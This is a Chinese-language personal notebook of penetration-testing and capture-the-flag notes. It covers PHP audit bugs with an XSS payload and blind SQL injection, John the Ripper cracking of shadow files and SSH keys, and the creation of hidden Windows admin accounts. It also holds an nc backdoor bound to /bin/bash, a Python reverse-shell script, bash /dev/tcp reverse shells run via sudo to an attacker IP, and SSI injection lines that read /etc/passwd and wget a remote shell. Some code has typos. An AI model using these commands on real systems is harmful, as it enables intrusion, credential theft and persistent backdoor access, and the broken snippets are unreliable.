《随笔 三》
一般的wordpress的404頁(yè)面路徑:http://ip:port/wordpress/wp-content/themes/twentyfourteen/404.php
或者:http://ip:port/wp-content/themes/twentyten/404.php
?
Table of Contents
1,windows下gcc使用:
2,libnum的部分 用法:
3,php審計(jì):
漏洞:
7,nc 命令:
8,dirb命令
9,zcat命令
10,windows中創(chuàng)建,刪除用戶,修改密碼,啟用/關(guān)閉用戶
11,cmd一些命令:
13,靶場(chǎng)信息探測(cè):
14,對(duì)于探測(cè)結(jié)果分析
15,挖掘敏感信息
16,擴(kuò)大戰(zhàn)果
17,深入挖掘
18,背水一戰(zhàn)(使用暴力破解)
29,ssi注入
SHTML文件
SSI基本語(yǔ)法
前提條件
30,路徑遍歷漏洞
31,用python建立一個(gè)臨時(shí)的SimpleHTTPServer? ,不用再把要執(zhí)行或訪問(wèn)的文件放在 Apache2 的根目錄下了
33,wpscan工具
35,linu中的常用解壓命令:
?
40, 使用bash命令 制造一個(gè)反彈shell的后門
42,curl常用命令:
44,perl 常用命令:
46,python的 的 group函數(shù)
49,文件上傳中的條件競(jìng)爭(zhēng):
50,php中的strstr()函數(shù):
1,python中? pyshark庫(kù)的部分使用方法:
2,python 中 pyc文件反編譯為py文件
3,ThinkPHP5 的遠(yuǎn)程命令執(zhí)行漏洞
1,windows下gcc使用:
c:? ?gcc? qwe.c? ?-o? 123 #include<stdio.h> #include<math.h>c++? g++ wee.cpp -o 123 #include<iostream>2,libnum的部分 用法:
import libnums="flag{pcat}" print libnum.s2n(s) #字符轉(zhuǎn) 十進(jìn)制n=0x666c61677b706361747d print libnum.n2s(n) # 十六進(jìn)制 轉(zhuǎn)字符b='01110000011000110110000101110100' print libnum.b2s(b) # 二進(jìn)制 轉(zhuǎn) 字符s='pcat' print libnum.s2b(s) # 字符 轉(zhuǎn)二進(jìn)制# s 代表 字符# n 代表 十六進(jìn)制# b 代表 二進(jìn)制?
len_in_bits(n)? ? ? ? ?-n的二進(jìn)制表示形式的位數(shù)
randint_bits(size)? ? ?-具有給定位大小的隨機(jī)數(shù)
gcd(a,b,...)? ? ? ? ? ?-所有參數(shù)的最大公約數(shù)
lcm(a,b,...)? ? ? ? ? -所有參數(shù)的最小公倍數(shù)
invmod(a,n)? ? ? ? ? -模逆
?
primes(n)-不大于@n的質(zhì)數(shù)列表,慢速方法
generate_prime(size,k = 25)-生成具有@size位長(zhǎng)度的偽素?cái)?shù)。@k是許多測(cè)試。
generate_prime_from_string(s,size = None,k = 25)-以字符串表示形式生成一個(gè)以@s開(kāi)頭的偽素?cái)?shù)
factorize(n)-因數(shù)分解@n(當(dāng)前使用rho-Pollard方法)警告:因式分解的格式現(xiàn)在像{p1:e1,p2:e2,...}
?
Curve(a,b,p,g,order,cofactor,seed)-表示橢圓曲線的類。
.is_opposite(p1,p2)-檢查兩個(gè)點(diǎn)是否相反
.check(p)-檢查點(diǎn)是否在曲線上
.check_x(x)-檢查曲線上是否存在具有給定x的點(diǎn)
.find_points_in_range(start,end
?
grey_code(n)-格雷碼中的數(shù)字
rev_grey_code(g)-格雷碼中的數(shù)字
nCk(n,k)-組合數(shù)
3,php審計(jì):
1,in_arrary()函數(shù):
?bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )漏洞:沒(méi)有將?in_array()?函數(shù)的第三個(gè)參數(shù)設(shè)置為?true?,所以會(huì)進(jìn)行弱比較,設(shè)置為ture會(huì)進(jìn)行強(qiáng)比較,比較數(shù)據(jù)類型
由于該函數(shù)并未將第三個(gè)參數(shù)設(shè)置為?true?,這導(dǎo)致攻擊者可以通過(guò)構(gòu)造的文件名來(lái)繞過(guò)服務(wù)端的檢測(cè),例如文件名為?7shell.php?。因?yàn)镻HP在使用?in_array()?函數(shù)判斷時(shí),會(huì)將?7shell.php?強(qiáng)制轉(zhuǎn)換成數(shù)字7,而數(shù)字7在?range(1,24)?數(shù)組中,最終繞過(guò)?in_array()?函數(shù)判斷,導(dǎo)致任意文件上傳漏洞。
由于這里(上圖第6行)并沒(méi)有將?in_array()?函數(shù)的第三個(gè)參數(shù)設(shè)置為?true?,所以會(huì)進(jìn)行弱比較,可以繞過(guò)。比如我們將?$rate?的值設(shè)置成?1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
2,htmlspecialchars 函數(shù) 和?filter_var 函數(shù)
功能?:將特殊字符轉(zhuǎn)換為 HTML 實(shí)體
定義?:string?htmlspecialchars?( string?$string?[, int?$flags?= ENT_COMPAT | ENT_HTML401 [, string$encoding?= ini_get("default_charset") [, bool?$double_encode?=?TRUE?]]] )
& (& 符號(hào)) =============== & " (雙引號(hào)) =============== " ' (單引號(hào)) =============== ' < (小于號(hào)) =============== < > (大于號(hào)) =============== >功能?:使用特定的過(guò)濾器過(guò)濾一個(gè)變量 例如:?FILTER_VALIDATE_URL?過(guò)濾器來(lái)判斷是否是一個(gè)合法的url,
定義?:mixed?filter_var?(?mixed?$variable?[, int?$filter?= FILTER_DEFAULT [,?mixed?$options?]] )
漏洞:
針對(duì)這兩處的過(guò)濾,我們可以考慮使用?javascript偽協(xié)議?來(lái)繞過(guò)
我們使用?payload?:?url=javascript://comment%250aalert(1)?,可以執(zhí)行?alert?函數(shù):
實(shí)際上,這里的?//?在JavaScript中表示單行注釋,所以后面的內(nèi)容均為注釋,那為什么會(huì)執(zhí)行?alert?函數(shù)呢?那是因?yàn)槲覀冞@里用了字符?%0a?,該字符為換行符,所以?alert?語(yǔ)句與注釋符?//?就不在同一行,就能執(zhí)行。當(dāng)然,這里我們要對(duì)?%?百分號(hào)編碼成?%25?,因?yàn)槌绦驅(qū)g覽器發(fā)來(lái)的payload:javascript://comment%250aalert(1)?先解碼成:?javascript://comment%0aalert(1)?存儲(chǔ)在變量?$url?中(上圖第二行代碼),然后用戶點(diǎn)擊a標(biāo)簽鏈接就會(huì)觸發(fā)?alert?函數(shù)。
小知識(shí)點(diǎn):
filter_var()常用的幾個(gè)過(guò)濾器:
FILTER_VALIDATE_URL:? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?把值作為 URL 來(lái)驗(yàn)證。
FILTER_VALIDATE_EMAIL? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?把值作為 e-mail 地址來(lái)驗(yàn)證
FILTER_VALIDATE_IP? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?把值作為 IP 地址來(lái)驗(yàn)證,只限 IPv4 或 IPv6 或 不是來(lái)自私有或者保留的范圍。
?
FILTER_SANITIZE_URL? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?刪除所有字符,除了字母、數(shù)字以及 $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=
FILTER_SANITIZE_EMAIL? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?刪除所有字符,除了字母、數(shù)字以及 !#$%&'*+-/=?^_`{|}~@.[]
FILTER_SANITIZE_STRING? ? ? ? ? ? ? ? ? ? ? ? ? ? 去除標(biāo)簽,去除或編碼特殊字符。
?
parse_url(url)本函數(shù)解析一個(gè) URL 并返回一個(gè)關(guān)聯(lián)數(shù)組,包含在 URL 中出現(xiàn)的各種組成部分
<?php $url = 'http://username:password@hostname/path?arg=value#anchor'; print_r(parse_url($url)); echo parse_url($url, PHP_URL_PATH); ?>Array ([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor ) /pathexec()執(zhí)行給定的?command。:危險(xiǎn)函數(shù)
4,命令注入中的特殊符號(hào)
cmd > file ?把cmd命令的輸出重定向到文件file中。如果file已經(jīng)存在,則清空原有文件
cmd >> file ?把cmd命令的輸出重定向到文件file中,如果file已經(jīng)存在,則把信息加在原有文件后面。
cmd < file ?使cmd命令從file讀入
cmd << text ?從命令行讀取輸入,直到一個(gè)與text相同的行結(jié)束。
cmd <> file ?以讀寫(xiě)模式把文件file重定向到輸入,文件file不會(huì)被破壞。僅當(dāng)應(yīng)用程序利用了這一特性時(shí),它才是有意義的。
?
`(反引號(hào))
命令替代,大部分Unix shell以及編程語(yǔ)言如Perl、PHP以及Ruby等都以成對(duì)的重音符(反引號(hào))作指令替代,意思是以某一個(gè)指令的輸出結(jié)果作為另一個(gè)指令的輸入項(xiàng)。例如以下指令:
bash echo It is now `date`等價(jià)于: echo It is now 一 12月 17 12:16:04 GMT 2018在正式執(zhí)行時(shí)會(huì)產(chǎn)生以下輸出結(jié)果: It is now 一 12月 17 12:16:04 GMT 2018?
當(dāng)輸入?yún)?shù)有長(zhǎng)度控制時(shí),繞過(guò)方法:
注意是倒序創(chuàng)建,? 最后 用 sh? a 去執(zhí)行 構(gòu)造好的命令
示例:
這里構(gòu)造了的命令: wget xxx.com -o shell.php? ? ? ? 遠(yuǎn)程下載shell.php
?
?
?
5,了解到一種新的PHP控制輸入的過(guò)濾方式, str_replace()
示例:
if( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);for($i=0; $i<5; $i++) //這里進(jìn)行循環(huán)過(guò)濾,防止使用 雙寫(xiě)繞過(guò) http: htthttpp{// Set blacklist$substitutions = array('&' => '',';' => '','| ' => '','-' => '','$' => '','(' => '',')' => '','`' => '','||' => '');// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );} }將 ip中的非法字符替換為空,??
上面的 str_replace進(jìn)行了 遞歸的匹配替換(遞歸到?jīng)]有非法字符為止), 非常好用
?
str_replace?(?mixed?$search?,?mixed?$replace?,?mixed?$subject?[,?int?&$count?] ) :?mixed
preg_replace?(?mixed?$pattern?,?mixed?$replacement?,?mixed?$subject?[,?int?$limit?= -1?[,?int?&$count?]] ) :?mixed
兩者用法類似
區(qū)別: preg_replace()函數(shù)可以用 正則表達(dá) ,str_replace()不能
? ? ? ? ? ? str_replace()可以用上面示例的 用數(shù)組的方式進(jìn)行遞歸匹配,preg_replace()沒(méi)有類似用法
?
6,linux中查看端口占用情況:
netstat命令各個(gè)參數(shù)說(shuō)明如下:
-t : 指明顯示TCP端口
-u : 指明顯示UDP端口
-l : 僅顯示監(jiān)聽(tīng)套接字(所謂套接字就是使應(yīng)用程序能夠讀寫(xiě)與收發(fā)通訊協(xié)議(protocol)與資料的程序)
-p : 顯示進(jìn)程標(biāo)識(shí)符和程序名稱,每一個(gè)套接字/端口都屬于一個(gè)程序。
-n : 不進(jìn)行DNS輪詢,顯示IP(可以加速操作)
?
netstat -ntulp ? //查看當(dāng)前所有tcp和udp端口·
netstat -ntulp |grep 80 ? //查看所有80端口使用情況·
netstat -ntulp | grep 3306 ? //查看所有3306端口使用情況·
7,nc 命令:
1,實(shí)現(xiàn)一個(gè)簡(jiǎn)易的聊天器, 單向的
windows中 是 ncat? ?linux 中是 nc?
監(jiān)聽(tīng)端口 1234 :
nc -lvp? 1234連接目標(biāo)機(jī)器:
nc? ?ip—地址? ?端口號(hào)2,設(shè)置一個(gè)后門:
創(chuàng)建后門的命令為:
$ ncat -l 10000 -e /bin/bash-e?標(biāo)志將一個(gè) bash 與端口 10000 相連??蛻舳酥灰B接到服務(wù)器上的 10000 端口就能通過(guò) bash 獲取我們系統(tǒng)的完整訪問(wèn)權(quán)限
$ ncat 192.168.1.100 100003,文件傳輸:(文件傳輸可以反向)
Server
$nc -l 1567 < file.txtClient
$nc -n 172.31.100.7 1567 > file.txt8,dirb命令
dirb是一個(gè)類似windows下御劍這些目錄掃描工具,
dirb ip 字典路徑一般不需要指定字典,會(huì)使用默認(rèn)字典,我們也自定義字典
默認(rèn)字典路徑/usr/share/dirb/wordlists/comment.txtwordlists 目錄下還有好幾個(gè)字典可以使用除此之外還要一款kali自帶的目錄掃描工具
DirBuster
DirBuster是一個(gè)多線程java應(yīng)用程序,旨在強(qiáng)制Web /應(yīng)用程序服務(wù)器上的目錄和文件名。DirBuster總共有9個(gè)不同的列表; 這使得DirBuster在查找隱藏文件和目錄方面非常有效。
同樣打開(kāi)終端并鍵入Dirbuster,然后輸入目標(biāo)URL,如下圖所示,并瀏覽/ usr / share / dirbuster / wordlis / directory-list-2-3-medium.txt進(jìn)行暴力攻擊。
9,zcat命令
zcat命令用于不真正解壓縮文件,就能顯示壓縮包中文件的內(nèi)容的場(chǎng)合。
-S:指定gzip格式的壓縮包的后綴。當(dāng)后綴不是標(biāo)準(zhǔn)壓縮包后綴時(shí)使用此選項(xiàng); -c:將文件內(nèi)容寫(xiě)到標(biāo)注輸出; -d:執(zhí)行解壓縮操作; -l:顯示壓縮包中文件的列表; -L:顯示軟件許可信息; -q:禁用警告信息; -r:在目錄上執(zhí)行遞歸操作; -t:測(cè)試壓縮文件的完整性; -V:顯示指令的版本信息; -l:更快的壓縮速度; -9:更高的壓縮比。本題中使用到的命令:
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack5,john常用命令? ?(保存字典的目錄: /usr/share/john/)
John the Ripper免費(fèi)的開(kāi)源軟件,是一個(gè)快速的密碼破解工具,用于在已知密文的情況下嘗試破解出明文的破解密碼軟件,支持目前大多數(shù)的加密算法,如DES、MD4、MD5等。它支持多種不同類型的系統(tǒng)架構(gòu),包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不夠牢固的Unix/Linux系統(tǒng)密碼。
? ? ? ?1,破解shadow文件(shadow文件用于儲(chǔ)存linux中加密后的密碼)
john shadow 也可以指定 字典john --wordlist=/usr/share/john/password.lst shadow? ? ? ? 2, 提取ssh 私鑰里面的密碼:
先將文件轉(zhuǎn)換為 john可以執(zhí)行的文件
python /usr/share/john/ssh2john.py id_rsa > rsacrack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack? ? ? ? ?3,keepass2數(shù)據(jù)庫(kù)密碼
先將加密文件轉(zhuǎn)為john可以執(zhí)行的文件
python /usr/share/john/keeppass2john.py newdb.kdb > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack? ? ? ? ? 4, rar 提取密碼
先將加密文件轉(zhuǎn)為john可以執(zhí)行的文件
python /usr/share/john/rar2john.py encrypted.rar > crack zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules crack10,windows中創(chuàng)建,刪除用戶,修改密碼,啟用/關(guān)閉用戶
查看當(dāng)前用戶(不顯示隱藏用戶,可以在 我的電腦-》管理》用戶和組 》用戶,中查看所有用戶)
net user創(chuàng)建用戶:(用戶名前加$符號(hào)可以創(chuàng)建隱藏賬戶)(必須以管理員權(quán)限運(yùn)行cmd)
net user username password /add給新創(chuàng)建的用戶分組:(提升為管理員)
net localgroup administrators luohao /add刪除用戶:
net user username /del修改密碼:
net user administrator 123123 //將administrator用戶的面改為 123123啟用/關(guān)閉用戶
net user administrator /active:yesnet user administrator /active:no11,cmd一些命令:
查看版本:? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?ver
查看配置:? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??systeminfo
查看進(jìn)程:? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??tasklist
查看正在運(yùn)行的服務(wù):? ? ? ? ? ? ? ??tasklist /svc
查看開(kāi)放的所有端口:? ? ? ? ? ? ? ? ??netstat -ano
查看指定服務(wù)的路徑:? ? ? ? ? ? ? ? ?sc qc Mysql
關(guān)閉防火墻:? ? ? ? ? ? ? ? ? ? ? ? ? ? ??net stop sharedaccess
把cmd.exe復(fù)制到的temp目錄下并命名為cmd.txt:copy c:\windows\temp\cookies\cmd.exe? c:\windows\temp\cmd.txt
開(kāi)3389端口的命令:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
12,ssh 基于TCP 22 號(hào)端口的服務(wù)
13,靶場(chǎng)信息探測(cè):
對(duì)于給定的ip地址的靶機(jī),對(duì)其進(jìn)行滲透測(cè)試,首先需要考慮靶場(chǎng)機(jī)器開(kāi)放的服務(wù)
探測(cè)靶場(chǎng)開(kāi)放的服務(wù)于服務(wù)的版本:
nmap -sV ip_address探測(cè)靶場(chǎng)的全部信息:
nmap -A -v -T4 ip-A:全部信息 -v: 詳細(xì)顯示 -T:線程探測(cè)靶場(chǎng)的操作系統(tǒng)和版本:
nmap -O ip14,對(duì)于探測(cè)結(jié)果分析
對(duì)于SSH服務(wù)的22端口:
首先考慮: 1,暴力破解
? ? ? ? ? ? ? ? ? ?2,私鑰泄露(私鑰有沒(méi)有對(duì)應(yīng)的密碼,是否可以找到 認(rèn)證關(guān)鍵字文件 ,進(jìn)而確定用戶名)
對(duì)于開(kāi)放http服務(wù)的 80端口 或者? 其他端口靶場(chǎng):
首先考慮: 1,通過(guò)瀏覽器訪問(wèn)靶場(chǎng),查找關(guān)鍵信息
? ? ? ? ? ? ? ? ? 2,通過(guò) 探測(cè)工具對(duì) http 的目錄進(jìn)行探測(cè),如: dirb??
特別注意 大于 1024 的特殊端口
15,挖掘敏感信息
使用瀏覽器對(duì)靶場(chǎng)的http服務(wù)進(jìn)行探測(cè),對(duì)頁(yè)面中展示的內(nèi)容也要注意嗎,尤其是聯(lián)系人等信息(有可能就是ssh的用戶名信息),遞歸訪問(wèn),力爭(zhēng)把每一個(gè) dirb掃描到的目錄頁(yè)面都 查看一遍
?
尤其對(duì) robots.txt文件,一些目錄進(jìn)行訪問(wèn),挖掘具有利用價(jià)值的信息。隊(duì)友開(kāi)放的ssh服務(wù)的靶場(chǎng),務(wù)必要注意是否可以找到ssh私鑰信息(id_rsa)
?
特別注意 config 等特殊敏感文件,要細(xì)讀掃描的結(jié)果。挖掘可以利用的敏感信息
16,擴(kuò)大戰(zhàn)果
登錄服務(wù)器后,我們需要做一下操作:
1,查看點(diǎn)用戶的 whoami
2,id 查看當(dāng)前用戶的權(quán)限
3,查看根目錄 尋找 flag文件
?
如果是root權(quán)限,那表明這個(gè)靶場(chǎng)已經(jīng)被我們拿下
如果不是root權(quán)限,那就需要進(jìn)一步提權(quán),一般情況下,flag文件只屬于root用戶組用戶
?
cat? /etc/passwd? ? ? ? ? ? ? ? ? ? 查看所有用戶的列表
cat? ?/etc/group? ? ? ? ? ? ? ? ? ? ? ?查看用戶組
find / -user? username? ? ? ? ? ?查看屬于某用戶的文件
ls? -al? ?/tmp? ? ? ? ? ? ? ? ? ? ? ? ? ?查看緩沖區(qū)文件目錄 ,看是否有一些臨時(shí)性的文件
?
17,深入挖掘
需要特別關(guān)注的文件:
/etc/crontab? ?文件? ? ? ? ?通過(guò)/etc/crontab文件,設(shè)定系統(tǒng)定期執(zhí)行的任務(wù)、要編輯,需要root權(quán)限。不同的用戶都可以有不同的定時(shí)任務(wù)
?挖掘其他用戶是否有定時(shí)任務(wù),并查看對(duì)應(yīng)的任務(wù)內(nèi)容。執(zhí)行的任務(wù)肯定對(duì)應(yīng)著靶場(chǎng)機(jī)器的某個(gè)文件? ? ? ? ?
?
如果在 /etc/crontab下有某個(gè)用戶的定時(shí)任務(wù)文件,但是具體的目錄下沒(méi)有這個(gè) 定時(shí)執(zhí)行的文件,可以自行創(chuàng)建反彈shell,然后netcat監(jiān)聽(tīng)獲取對(duì)應(yīng)用戶的權(quán)限
?
如果有定時(shí)執(zhí)行的文件,可以切換到對(duì)應(yīng)的目錄,查看對(duì)應(yīng)的權(quán)限,查看當(dāng)前用戶是都具有讀寫(xiě)權(quán)限
反彈shell
靶場(chǎng)代碼:
#!/usr/bin/pythonimport os,subprodess,sockets = socket.socekt(socker.AF_INET,socker.SOCK_STREAM)s.connect("攻擊機(jī)的ip","攻擊器監(jiān)聽(tīng)的端口")os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p = subprocess.call(["/bin/sh","-i"])18,背水一戰(zhàn)(使用暴力破解)
萬(wàn)不得已的時(shí)候,不得不使用暴力破解的方法破解 口令
破解工具: hydra、medusa
?
利用cuup創(chuàng)建字典
git clone https://github.com/jeanphorn/common-password.git
chomd +x cupp.py
./cupp.py -i? (以交互的方式創(chuàng)建字典)
?
?
20,查看端口占用情況:
netstat -pantu21,給某個(gè)文件加權(quán)限?
chmod 777 file.py或者chmod +x file.py //加可執(zhí)行權(quán)限22,banner信息:
banner 信息來(lái)表示歡迎語(yǔ),其中會(huì)包含一些敏感信息,所以獲取 banner 也屬于信息搜集的范疇。在滲透測(cè)試中,典型的 4xx、5xx 信息泄露就屬于 banner 泄露的一種。在 banner 信息中,可以獲取到軟件開(kāi)發(fā)商、軟件名稱、服務(wù)類型、版本號(hào)等。而版本號(hào)有時(shí)候就會(huì)存在公開(kāi)的 CVE 問(wèn)題,可以直接進(jìn)行利用。
nc 在建立鏈接后會(huì)返回相應(yīng)端口的 banner,
在掃描到一些大端口后 可以嘗試使用 nc 返回banner信息
nc ip port也可以使用 nmap批量獲取 banner信息
強(qiáng)大的 nmap 肯定也有獲取 banner 的方法,只不過(guò)是通過(guò)腳本實(shí)現(xiàn)的,因?yàn)?banner 獲取是建立在連接的基礎(chǔ)上的,所以需要用到 sT 參數(shù),sT 用來(lái)連接目標(biāo),其命令和結(jié)果如下:
nmap -sT 192.168.11.167 -p 1-1000 --script=banner23, linux中的cat 命令可以用 more 代替,利用這一點(diǎn)可以繞過(guò)某些過(guò)濾
24,注意具有未知服務(wù)的大端口,
? ? ?1,可以用 nc? 查看端口的banner信息,也許banner中就能敏感信息
nc 192.168.11.167 22223? ? ?2,當(dāng)22號(hào)端口 禁止登陸ssh服務(wù)的時(shí)候 ,可以嘗試使用 這些大端口進(jìn)行ssh登陸
ssh -p 22223 summer@192.168.11.167?25, 滲透要由外而內(nèi),在外部獲取足夠多的信息之后,侵入內(nèi)部也就是順理成章的事,不要拿到靶場(chǎng)ip就只想著侵入后臺(tái),在侵入后臺(tái)之前,一定要先收集外部的信息!要對(duì)每一個(gè)開(kāi)放的服務(wù)進(jìn)行探測(cè),不放過(guò)一個(gè)可以利用的點(diǎn)
26,win 打開(kāi)遠(yuǎn)程桌面窗口:運(yùn)行 》mstsc
? ? ? ?kali中:
rdesktop 172.16.70.199:338927,kali中竟然還自帶有webshell:
保存目錄: /usr/share/webshell? ? (只需要修改ip 和端口就可以使用)
28,sqlmap中指定注入點(diǎn):
1,注入點(diǎn)在 XFF中: (注意 XFF后面的 * 號(hào))? ? (在)
sqlmap -u “http://123.113.134.123”? --batch --level 3 --thread 4 --headers="X-Forwarded-For:*" --dbs2,注入cookie,referer,user-agent,
sqlmap -u "http://123.123.123.123" --cookie "uname=admin" --batch --level 3 –dbs29,ssi注入
SSI全稱是Server Side Includes,即服務(wù)器端包含,是一種基于服務(wù)器端的網(wǎng)頁(yè)制作技術(shù)。
SSI是嵌入HTML頁(yè)面中的指令,在頁(yè)面被提供時(shí)由服務(wù)器進(jìn)行運(yùn)算,以對(duì)現(xiàn)有HTML頁(yè)面增加動(dòng)態(tài)生成的內(nèi)容,而無(wú)須通過(guò)CGI程序提供其整個(gè)頁(yè)面,或者使用其他動(dòng)態(tài)技術(shù)。
基本原理就是:?SSI在HTML文件中,可以通過(guò)注釋行調(diào)用命令或指針,即允許通過(guò)在HTML頁(yè)面注入腳本或遠(yuǎn)程執(zhí)行任意代碼。
SHTML文件
SHTML即Server-Parsed HTML。
shtml文件(還有stm、shtm文件)就是應(yīng)用了SSI技術(shù)的html文件,所以在.shtml頁(yè)面返回到客戶端前,頁(yè)面中的SSI指令將被服務(wù)器解析。可以使用SSI指令將其它文件、圖片包含在頁(yè)面中,也可以將其它的CGI程序包含在頁(yè)面中,如.aspx文件。在給客戶端返回的頁(yè)面中不會(huì)包含SSI指令。如果SSI指令不能被解析,則瀏覽器會(huì)將其做為普通的HTML注釋處理。
IIS,Nginx和Apache都支持ssi服務(wù),默認(rèn)關(guān)閉
SSI基本語(yǔ)法
1、顯示服務(wù)器端環(huán)境變量?<#echo>
<!--#echo var="DOCUMENT_NAME"--> 本文檔名稱 <!--#echo var="DATE_LOCAL"--> 現(xiàn)在時(shí)間: 顯示IP地址: <!--#echo var="REMOTE_ADDR"-->2、將文本內(nèi)容直接插入到文檔中?<#include>
<!--#include file="文件名稱"--> <!--#include virtual="index.html" --> <!--#include virtual="文件名稱"–> <!--#include virtual="/www/footer.html" -->注:file包含文件可以在同一級(jí)目錄或其子目錄中,但不能在上一級(jí)目錄中,virtual包含文件可以是Web站點(diǎn)上的虛擬目錄的完整路徑。
3、直接執(zhí)行服務(wù)器上的各種程序?<#exec>?(如CGI或其他可執(zhí)行程序)
<!–#exec cmd="命令"–><!--#exec cmd="cat /etc/passwd"--><!--#exec cmd="wget http://192.123.131.13/shell.py"--><!–#exec cgi="文件名稱"–> <!--#exec cgi="/cgi-bin/access_log.cgi"–>?
前提條件
攻擊者要想進(jìn)行SSI注入、在Web服務(wù)器上運(yùn)行任意命令,需要滿足下列幾點(diǎn)前提條件才能成功:
30,路徑遍歷漏洞
漏洞的成因,對(duì)用戶的輸入過(guò)濾不嚴(yán),開(kāi)啟了遠(yuǎn)程文件包含和本地文件包含
目錄遍歷漏洞的特征要注意:
?page=xxx.php
?home=xxx.html
?index=xxx.jsp
常用漏洞驗(yàn)證方式:
1:../../../../../../(多少個(gè)../都行,越多越好)/etc/passwd
URL上這一串東西的意義:../返回上級(jí)目錄,當(dāng)返回到根目錄時(shí)候再../還是根目錄,然后直接進(jìn)入linux系統(tǒng)的passwd文件
2.file:///etc/passwd(這里是文件包含漏洞,不過(guò)利用方法一致)
3.http://xxxxx
前兩者用途:可以讀取到目標(biāo)系統(tǒng)的機(jī)密文件
遠(yuǎn)程文件包含用途:可以構(gòu)建一個(gè)帶有shellcode的網(wǎng)站,使目標(biāo)訪問(wèn),進(jìn)而得到shell(雖然是低權(quán)限shell)
如果開(kāi)啟了遠(yuǎn)程文件包含并且沒(méi)有進(jìn)行嚴(yán)格的用戶過(guò)濾的話,就會(huì)導(dǎo)致包含執(zhí)行遠(yuǎn)程的webshell代碼
?
31,用python建立一個(gè)臨時(shí)的SimpleHTTPServer? ,不用再把要執(zhí)行或訪問(wèn)的文件放在 Apache2 的根目錄下了
python -m "SimpleHTTPServer"默認(rèn)是開(kāi)啟 8000? 也可以指定端口,直接在后面跟端口名就行
?
32,dirb 指定字典 ,直接在 地址后面跟字典路徑即可 默認(rèn)使用 comment.txt? 可以使用的kali字典的字典有:
33,wpscan工具
WPScan是Kali Linux默認(rèn)自帶的一款漏洞掃描工具,它采用Ruby編寫(xiě),能夠掃描WordPress網(wǎng)站中的多種安全漏洞,其中包括主題漏洞、插件漏洞和WordPress本身的漏洞。最新版本W(wǎng)PScan的數(shù)據(jù)庫(kù)中包含超過(guò)18000種插件漏洞和2600種主題漏洞,并且支持最新版本的WordPress。值得注意的是,它不僅能夠掃描類似robots.txt這樣的敏感文件,而且還能夠檢測(cè)當(dāng)前已啟用的插件和其他功能。
使用wpscan枚舉 username:
wpscan --url http://192.168.11.170/serect/ --enumerate u?
–enumerate選項(xiàng)來(lái)掃描并發(fā)現(xiàn)關(guān)于目標(biāo)站點(diǎn)主題、插件和用戶名信息。輸入下列命令開(kāi)始對(duì)服務(wù)器進(jìn)行掃描:
wpscan –u http://192.168.0.101/wordpress/掃描
wpscan –u http://192.168.0.101/wordpress --enumerate t //主題掃描 wpscan –u http://192.168.0.101/wordpress --enumerate vt //掃描主題中存在的漏洞 wpscan –u http://192.168.0.101/wordpress --enumerate p //插件掃描 wpscan –u http://192.168.0.101/wordpress --enumerate vp //掃描插件中的安全漏洞使用WPScan進(jìn)行暴力破解
在進(jìn)行暴力破解攻擊之前,我們需要?jiǎng)?chuàng)建對(duì)應(yīng)的字典文件。輸入下列命令:
wpscan –u http://192.168.0.101/wordpress/ --wordlist /root/Desktop/dict.txt --usernameadmin34,一些網(wǎng)站的文件讀取的修復(fù)方案(不采用循環(huán)過(guò)濾替代字符的方案)
<?php$filename = $_REQUEST['file'];switch($filename){case "config":echo file_get_contents("config.php");break;default:echo '請(qǐng)求錯(cuò)誤';}?>這里直接用白名單的形式讀取文件
對(duì)比而言,對(duì) ../ 等非法字符過(guò)濾,不如直接用白名單
?
35,linu中的常用解壓命令:
unzip filename.ziptar -xvf FileName.tartar -zxvf filename.tar.gz -z: gzip 壓縮格式 -x: extract 解壓 -v: verbose 詳細(xì)信息 -f: file(file=archieve) 文件tar -jxvf filename.tar.bz2 -j: bzip2 壓縮格式tar -Jxvf filename.tar.xz 注意J大寫(xiě)gunzip FileName.gzbzip2 -d FileName.bzuncompress FileName.Zrar -x FileName.rar36,kali中創(chuàng)建文件/文件夾的快捷方式:
(必須使用絕對(duì)路徑)
37,kali 將 windows的共享文件掛載到桌面上:(臨時(shí)的,重啟后就沒(méi)有了)
vmhgfs-fuse .host:/kali /root/desktop/share38,
39,在本地使用 ssh命令登錄 不需要輸入密碼(在/home/simon 中發(fā)現(xiàn) .ssh目錄)
ssh simon@localhost sudo -l關(guān)閉防火墻
ssh simon@localhost sudo ufw disable //ubuntu的自帶的防火墻 ufw?
40, 使用bash命令 制造一個(gè)反彈shell的后門
sudo bash -i >& /dev/tcp/192.168.11.165/4444 0>&1或者:
echo ' bash -i >& /dev/tcp/192.168.11.165/4444 0>&1'| bash實(shí)例:
ssh bill@localhost sudo bash -i >& /dev/tcp/192.168.11.165/4444 0>&1然后在 攻擊端監(jiān)聽(tīng):
nc -lvp 444441, 掃描端口 http服務(wù)允許使用的method:
curl -v -X OPTIONS http://192.168.11.172/test-v 輸出詳細(xì)信息 -X 輸出http報(bào)頭,
42,curl常用命令:
1,模擬GET/POST請(qǐng)求
